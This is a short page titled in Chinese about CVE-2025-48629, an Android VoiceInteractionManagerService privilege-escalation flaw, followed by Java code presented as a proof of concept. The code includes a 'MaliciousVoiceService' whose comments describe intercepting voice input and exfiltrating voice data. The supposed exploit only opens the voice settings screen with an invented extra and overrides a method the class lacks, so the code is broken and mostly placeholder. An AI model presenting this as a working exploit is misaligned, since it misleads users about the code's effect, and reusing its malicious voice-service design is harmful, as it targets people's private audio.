CVE-2025-48629 Android VoiceInteractionManagerService本地权限提升漏洞

// CVE-2025-48629 PoC - Android VoiceInteractionManagerService Privilege Escalation // This PoC demonstrates exploiting the insecure default value in findAvailRecognizer package com.example.cve202548629; import android.app.Activity; import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; import android.service.voice.VoiceInteractionService; import android.service.voice.VoiceInteractionSession; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Step 1: Attempt to set this app as the default voice recognizer // Exploiting the insecure default value in findAvailRecognizer try { Intent setDefaultIntent = new Intent(); setDefaultIntent.setAction("android.settings.VOICE_INPUT_SETTINGS"); setDefaultIntent.putExtra("set_as_default", true); startActivity(setDefaultIntent); } catch (Exception e) { e.printStackTrace(); } } } // Malicious VoiceInteractionService implementation class MaliciousVoiceService extends VoiceInteractionService { @Override public void onCreate() { super.onCreate(); // Once set as default, this service gains access to: // - Microphone audio streams // - Voice input processing // - System-level voice interaction capabilities } @Override public void onHandleAssist(Bundle assistData) { // Intercept all voice inputs when set as default // Can exfiltrate sensitive voice data } }